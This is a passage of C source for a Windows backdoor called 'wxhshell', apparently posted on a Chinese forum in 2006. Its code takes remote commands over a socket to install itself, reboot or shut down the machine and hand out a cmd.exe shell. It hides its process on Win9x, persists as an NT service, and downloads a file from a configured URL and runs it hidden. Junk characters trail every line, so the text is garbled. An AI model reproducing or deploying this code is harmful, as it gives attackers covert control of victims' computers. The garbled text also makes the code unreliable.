  // 帮助 8WE@ X)e  
  case '?': { +T\<oj%}2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,wf:Fr  
    break; Fr~\ZL  
  } 5S<Rz)1r  
  // 安装 #_eXybUV  
  case 'i': { L{&>,ww  
    if(Install()) b(oe^jeGz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N5c*#lHI  
    else jG~-V<&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :i4AkBNK  
    break; 0K'{w]Q  
    } 2?Y8hm  
  // 卸载 $l2`@ia"  
  case 'r': { 9a[1s|>w-  
    if(Uninstall()) 0W0GSDx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v w 6$v  
    else `dw">z,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); egK~w8`W%  
    break; 4E2#krE%  
    } (gnN </%  
  // 显示 wxhshell 所在路径 Atb`Q'Yrw  
  case 'p': { K@<*m!%<2  
    char svExeFile[MAX_PATH]; b@c(Nv  
    strcpy(svExeFile,"\n\r"); AyWdJ<OU  
      strcat(svExeFile,ExeFile); ~s-bA#0S  
        send(wsh,svExeFile,strlen(svExeFile),0); 7]} I  
    break; R?zlZS.~  
    } idB1%?<  
  // 重启 oi m7=I0  
  case 'b': { tm/=Oc1p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,4S[<(T"  
    if(Boot(REBOOT)) t>Ye*eR*`U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -RJ~Sky[  
    else { =igTY1|af  
    closesocket(wsh); ^vxx]Hji  
    ExitThread(0); ,,H;2xYf  
    } F!3p )?  
    break; O1UArD  
    } R%4Yg(-Q  
  // 关机 @ <3E `j'p  
  case 'd': { L[ZS17 ;*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +m]-)  
    if(Boot(SHUTDOWN)) gzlxkv-F{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O&MH5^I  
    else { whYk"N  
    closesocket(wsh); wK0x\V6dJ  
    ExitThread(0); b}fC' h  
    } BYu(a  
    break; >|, <9z`D  
    } P4HoKoj2`  
  // 获取shell 7m  ou  
  case 's': { <jh7G  
    CmdShell(wsh); -.r"|\1X  
    closesocket(wsh); TFG? EO  
    ExitThread(0); :8(jhs  
    break; 8!0fT}  
  } u(FOSmNkN  
  // 退出 &a4FGzR#  
  case 'x': { #q K.AZi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J90:c@O"w  
    CloseIt(wsh); cpl Ny?UIC  
    break; Ux1j+}y  
    } T9}~]zW7P  
  // 离开 qSlo)aP  
  case 'q': { YzQ(\._s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K>vl o/#!  
    closesocket(wsh); L*dGo,oN  
    WSACleanup(); a_bZT4  
    exit(1); 7TEpjSuF  
    break; \#JXch  
        } %f'=9pit  
  } Xq )7Im}?  
  } jI'?7@32`  
DLP@?]BBOA  
  // 提示信息 4lR+nmAZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .71ZeLv*  
} CVvl &on  
  } W4$aX5ow$  
 S!#5  
  return; 4i.&geX A.  
} .?rs5[th*  
oQrfrA&=M  
// shell模块句柄 +'SL5d*  
int CmdShell(SOCKET sock) 8G3 Z,8P4(  
{ 1) K<x  
STARTUPINFO si; mhv6.W@  
ZeroMemory(&si,sizeof(si)); L-)ZjXzk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jJw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p[o]ouTcS  
PROCESS_INFORMATION ProcessInfo; jygUf|  
char cmdline[]="cmd"; eI:x4K,#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]KEE+o  
  return 0; Ky7.&6\n  
} Q|P M6ta  
4W|cIcU W  
// 自身启动模式 @{#'y4\>  
int StartFromService(void) P=1K u|k  
{ WY QVe_<z:  
typedef struct iDX<`)  
{ 50|nQ:u,  
  DWORD ExitStatus; ( tq);m&  
  DWORD PebBaseAddress; 7XT(n v  
  DWORD AffinityMask; IJKdVb~   
  DWORD BasePriority; c~/poFj  
  ULONG UniqueProcessId; O7_y QQAA  
  ULONG InheritedFromUniqueProcessId; G /$+e  
}   PROCESS_BASIC_INFORMATION; 5FuV=Yuc  
J/D~]U  
PROCNTQSIP NtQueryInformationProcess; v(R^LqE  
f+ZOE?"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U\, N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :R +BC2x  
F WU >WHX  
  HANDLE             hProcess; </ "Wh4>C  
  PROCESS_BASIC_INFORMATION pbi; N%'(8%;  
[kpQ:'P3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >r C*.  
  if(NULL == hInst ) return 0;  6W  
so1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sN-u?EiF8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KPDJ$,:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?u&|'ASo  
-O,:~a=*_  
  if (!NtQueryInformationProcess) return 0; S&-F(#CF^  
;7EeRM*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w2V:x[  
  if(!hProcess) return 0; <,it<$f#  
>Ik%_:CC`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _-H,S)kI`  
Vt \g9-[  
  CloseHandle(hProcess); ?Fl O,|   
9{ge U9&Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nh0gT>a>@  
if(hProcess==NULL) return 0; <+r~?X_  
8+7*> FD)1  
HMODULE hMod; `Ix`/k}  
char procName[255]; K@DFu5  
unsigned long cbNeeded; <&`Rf6  
&hI!0DixX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~|, "w90  
Drf Au  
  CloseHandle(hProcess); }@jJv||  
qhG2j;  
if(strstr(procName,"services")) return 1; // 以服务启动 ReD]M@;  
4 ;)t\9cy_  
  return 0; // 注册表启动 ^\ln8!;  
} ^8bc<c:P  
YahW%mv`d  
// 主模块 T`j {2  
int StartWxhshell(LPSTR lpCmdLine) 55TFBDc  
{ kI04<!  
  SOCKET wsl; Het>G{  
BOOL val=TRUE; Av yer/{  
  int port=0; K$GQc"  
  struct sockaddr_in door; a%a0/!U[  
b;*'j9ly  
  if(wscfg.ws_autoins) Install(); <Piq?&VX[  
ZybfqBTD&c  
port=atoi(lpCmdLine); Wl=yxJu_(  
TG8U=9qt  
if(port<=0) port=wscfg.ws_port; vfj{j= G  
<h+@;/v:  
  WSADATA data; jA2%kX\6//  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tI^[|@,  
pRxVsOb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FIAmAZH}_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); % jf|efxo  
  door.sin_family = AF_INET; 7rbw_m`12-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'byTM?Sp{  
  door.sin_port = htons(port); (RrC<5"  
D+ .vg?8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5]CaWFSmT  
closesocket(wsl); C8qSoO4Z  
return 1; MQcIH2  
} uTz>I'f  
{*g{9`   
  if(listen(wsl,2) == INVALID_SOCKET) { {,6J*v"o  
closesocket(wsl); P_mP ^L  
return 1; `-cw[@uD  
} x[)]u8^A  
  Wxhshell(wsl); 9An \uH)mL  
  WSACleanup(); U6wy^!_X9  
]Lg~ I#/#  
return 0; ZQir?1=  
)K::WqR%w)  
} O[L#|_BnEO  
HE_UHv  
// 以NT服务方式启动 (E,[Ad,$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Unq~lt%2  
{ nFI<Te^)  
DWORD   status = 0; t5i58@{~  
  DWORD   specificError = 0xfffffff; %[~g84@  
-vc$I=b;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; = \oW {?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9C Ki$L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~@QAa (P.  
  serviceStatus.dwWin32ExitCode     = 0; "|Yy "iB[  
  serviceStatus.dwServiceSpecificExitCode = 0; sredL#]BA  
  serviceStatus.dwCheckPoint       = 0; |/8!P Km  
  serviceStatus.dwWaitHint       = 0; MT)q?NcG  
^ r(]S%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8KkN "4'  
  if (hServiceStatusHandle==0) return; (Rq6m`M2  
yt,Ky8y1  
status = GetLastError(); U7g,@/Qx  
  if (status!=NO_ERROR) q(R|3l^6T  
{ w@6y.v1I{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eTw9 c }[  
    serviceStatus.dwCheckPoint       = 0; rK}sQ4z=  
    serviceStatus.dwWaitHint       = 0; BG.8 q4[  
    serviceStatus.dwWin32ExitCode     = status; T*C F5S  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z!fbc#L6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ypemp=+(r  
    return; -`z%<)!Y  
  } n_Y7*3/b-o  
0Krh35R_)F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zLg$|@E&  
  serviceStatus.dwCheckPoint       = 0; SD8>,  
  serviceStatus.dwWaitHint       = 0; umAO&S.+M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8cMX=P  
} `)KGajB  
MF*4E9Ue.  
// 处理NT服务事件,比如:启动、停止 L\bc R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kSCpr0c  
{ &%)F5PT  
switch(fdwControl) XN?my@_HpM  
{ :P%?!'M  
case SERVICE_CONTROL_STOP: M0)0~#?.D  
  serviceStatus.dwWin32ExitCode = 0; c(b`eUOO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r~oUln<[  
  serviceStatus.dwCheckPoint   = 0; s`[V{1m,  
  serviceStatus.dwWaitHint     = 0; dWi.V?K4z  
  { L*4= b (3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X_bB6A6  
  } t,0}}9%?  
  return; \h0+` ;Q  
case SERVICE_CONTROL_PAUSE: M%Vp_ 0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OUO'w6m!  
  break; dN:^RCFzS  
case SERVICE_CONTROL_CONTINUE: fk1d iB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  rf'A+q  
  break; Vu4LC&q  
case SERVICE_CONTROL_INTERROGATE: \`2EfYJ{  
  break; U#PgkP[4  
}; k,<7)-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]-a/)8  
} G-]<+-Q$4  
OR' e!{  
// 标准应用程序主函数 Nr)DU.f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) usoyH0t!?  
{ qx*b\6Rt  
[0kZyjCq@  
// 获取操作系统版本 8ql<7RTM!  
OsIsNt=GetOsVer(); 4OO^%`=)M'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {9j0k`A  
x5;D'Y t"|  
  // 从命令行安装 Zn Rj}y  
  if(strpbrk(lpCmdLine,"iI")) Install(); KiE'O{Y  
/M3;~sx  
  // 下载执行文件 M)wNu  
if(wscfg.ws_downexe) { Rp:I&f$Hk/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )Wt&*WMFXl  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6L Fhhl^  
} Uqj$itqUQ  
=eDC{/K  
if(!OsIsNt) { i=rA;2>  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;yjw(OAI*  
HideProc(); I*a .!/$)  
StartWxhshell(lpCmdLine); -y3[\zNe  
} Hl{ul'o  
else *&h]PhY  
  if(StartFromService()) ft0d5n!ui4  
  // 以服务方式启动 !mwMSkkq  
  StartServiceCtrlDispatcher(DispatchTable); b`DPlQHj  
else ~-%z:Re'_  
  // 普通方式启动 ZdPqU \G^q  
  StartWxhshell(lpCmdLine); _ogN   
%X%f0J  
return 0; )7P>Hj  
}
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只看该作者 1 发表于: 2006-10-10
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